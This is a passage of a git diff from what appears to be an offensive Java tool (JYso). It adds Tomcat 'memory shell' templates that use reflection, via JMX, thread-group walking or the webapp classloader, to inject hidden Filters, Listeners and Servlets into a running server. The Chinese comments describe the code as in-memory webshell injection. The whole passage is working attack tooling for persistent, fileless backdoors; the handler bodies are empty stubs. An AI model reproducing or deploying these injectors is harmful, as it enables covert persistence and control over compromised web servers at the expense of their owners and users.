= null; + try { + jioEndPoint = getFieldValue(target, "this$0"); + } catch (Exception e) { + e.printStackTrace(); + } + + return jioEndPoint == null ? getFieldValue(target, "endpoint") : jioEndPoint; + } + } + return new Object(); + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + @Override + public void execute(Runnable command) { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java new file mode 100644 index 0000000..dad288a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java @@ -0,0 +1,115 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Filter 型内存马 + * + * @author QI4L + */ +public class TFMSFromJMX implements Filter { + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + field = standardContext.getClass().getDeclaredField("filterConfigs"); + field.setAccessible(true); + HashMap map = (HashMap) field.get(standardContext); + + if (map.get(NAME) == null) { + //生成 FilterDef + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterDefClass = null; + try { + filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + } catch (ClassNotFoundException e) { + filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); + } + + Object filterDef = filterDefClass.newInstance(); + filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME); + Filter filter = new TFMSFromJMX(); + + filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName()); + filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter); + standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef); + + //设置 FilterMap + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterMapClass = null; + try { + filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + } catch (ClassNotFoundException e) { + filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } + + Object filterMap = filterMapClass.newInstance(); + filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, NAME); + filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name()); + filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, pattern); + //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 + standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap); + + //设置 FilterConfig + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); + map.put(NAME, filterConfig); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java new file mode 100644 index 0000000..a82e110 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java @@ -0,0 +1,193 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.LifecycleState; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.util.LifecycleBase; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + + +/** + * 遍历线程组,在 request 中查找带有特定 Header 的请求,并从 request 获取 ServletContext 添加 Filter 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TFMSFromRequest implements Filter { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + + public static String HEADER_KEY; + + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addFilter(); + } + } + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) req.getClass().getMethod("getResponse", (Class[]) null).invoke(req, (Object[]) null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addFilter() { + ServletContext servletContext = request.getServletContext(); + Filter filter = new TFMSFromRequest(); + String filterName = NAME; + String url = pattern; + if (servletContext.getFilterRegistration(filterName) == null) { + StandardContext standardContext = null; + Field stateField = null; + FilterRegistration.Dynamic filterRegistration = null; + + try { + standardContext = (StandardContext) getFieldValue(getFieldValue(servletContext, "context"), "context"); + stateField = LifecycleBase.class.getDeclaredField("state"); + stateField.setAccessible(true); + stateField.set(standardContext, LifecycleState.STARTING_PREP); + filterRegistration = servletContext.addFilter(filterName, filter); + filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); + Method filterStartMethod = StandardContext.class.getMethod("filterStart"); + filterStartMethod.setAccessible(true); + filterStartMethod.invoke(standardContext, (Object[]) null); + stateField.set(standardContext, LifecycleState.STARTED); + + Class filterMap; + try { + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } catch (Exception var27) { + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); + } + + Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); + Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext))); + + for (int i = 0; i < filterMaps.length; ++i) { + Object filterMapObj = filterMaps[i]; + findFilterMaps = filterMap.getMethod("getFilterName"); + String name = (String) findFilterMaps.invoke(filterMapObj); + if (name.equalsIgnoreCase(filterName)) { + filterMaps[i] = filterMaps[0]; + filterMaps[0] = filterMapObj; + } + } + + writeResponse("Success"); + } catch (Exception ignored) { + } finally { + try { + stateField.set(standardContext, LifecycleState.STARTED); + } catch (IllegalAccessException ignored) { + } + + } + } else { + try { + writeResponse("Filter already exists"); + } catch (Exception ignored) { + } + } + } + + public static void writeResponse(String result) { + try { + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print(result); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java new file mode 100644 index 0000000..5bd4ec7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java @@ -0,0 +1,94 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * 使用线程注入 Tomcat Filter 型内存马 + * + * @author QI4L + */ +public class TFMSFromThread implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = + (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + Class aClass = null; + try { + aClass = (Class) standardContext.getClass().getSuperclass(); + aClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + aClass = standardContext.getClass(); + aClass.getDeclaredField("filterConfigs"); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + Map filterConfigs = (Map) Configs.get(standardContext); + + TFMSFromThread behinderFilter = new TFMSFromThread(); + + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(behinderFilter); + filterDef.setFilterName(NAME); + filterDef.setFilterClass(behinderFilter.getClass().getName()); + + standardContext.addFilterDef(filterDef); + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(pattern); + filterMap.setFilterName(NAME); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(NAME, filterConfig); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java new file mode 100644 index 0000000..1838ccc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java @@ -0,0 +1,81 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Listener 型内存马 + * + * @author QI4L + */ +public class TLMSFromJMX implements ServletRequestListener { + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + TLMSFromJMX listener = new TLMSFromJMX(); + standardContext.addApplicationEventListener(listener); + } + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java new file mode 100644 index 0000000..78ce6d1 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromThread.java @@ -0,0 +1,64 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Listener 型内存马 + */ +public class TLMSFromThread implements ServletRequestListener { + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + TLMSFromThread listener = new TLMSFromThread(); + standardContext.addApplicationEventListener(listener); + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java new file mode 100644 index 0000000..cb173c0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromJMX.java @@ -0,0 +1,91 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Servlet 型内存马 + * + * @author QI4L + */ +public class TSMSFromJMX implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TSMSFromJMX(); + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java new file mode 100644 index 0000000..7075935 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromRequest.java @@ -0,0 +1,255 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationContextFacade; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +/** + * 遍历线程组,在 request 中查找带有特定 Referer 的请求,并从 request 获取 ServletContext 添加 Servlet 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TSMSFromRequest implements Servlet { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + public static String HEADER_KEY; + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addServlet(); + } + } + + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) getMethodAndInvoke(req, "getResponse", null, null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addServlet() { + try { + ServletContext servletContext = request.getServletContext(); + ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; + Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context"); + applicationContextField.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade); + Field standardContextField = applicationContext.getClass().getDeclaredField("context"); + standardContextField.setAccessible(true); + StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + + Servlet servlet = new TSMSFromRequest(); + wrapper.setServletClass(servlet.getClass().getName()); + + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(new String[]{pattern}); + registration.setLoadOnStartup(1); + if (getMethodByClass(wrapper.getClass(), "setServlet", new Class[]{Servlet.class}) == null) { + transform(standardContext, pattern); + servlet.init((ServletConfig) getFieldValue(wrapper, "facade")); + } + + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print("Success"); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + + public static void transform(Object standardContext, String path) throws Exception { + Object containerBase = getMethodAndInvoke(standardContext, "getParent", null, null); + Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); + Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); + listenersField.setAccessible(true); + ArrayList listeners = (ArrayList) listenersField.get(containerBase); + + for (int i = 0; i < listeners.size(); ++i) { + Object mapperListener_Mapper = listeners.get(i); + if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { + Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); + Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); + + for (int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { + Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); + Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); + Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); + + for (int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { + Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); + if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { + new ArrayList(); + Object standardContext_Mapper = getMethodAndInvoke(standardContext, "getMapper", null, null); + Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); + Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); + Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); + + int l; + Object Mapper_Wrapper; + Method addWrapperMethod; + for (l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path); + } + } + + for (l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object")); + } + } + } + } + } + } + } + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) { + + Class clazz = Class.forName("sun.reflect.NativeMethodAccessorImpl"); + java.lang.reflect.Method m = clazz.getDeclaredMethod("invoke0", new Class[]{java.lang.reflect.Method.class, Object.class, Object[].class}); + m.setAccessible(true); + return m.invoke(null, new Object[]{method, obj, parameters}); + } + } catch (Exception ignored) { + } + return null; + } + + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java new file mode 100644 index 0000000..f9a0825 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TSMSFromThread.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.*; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Servlet 型内存马 + * + * 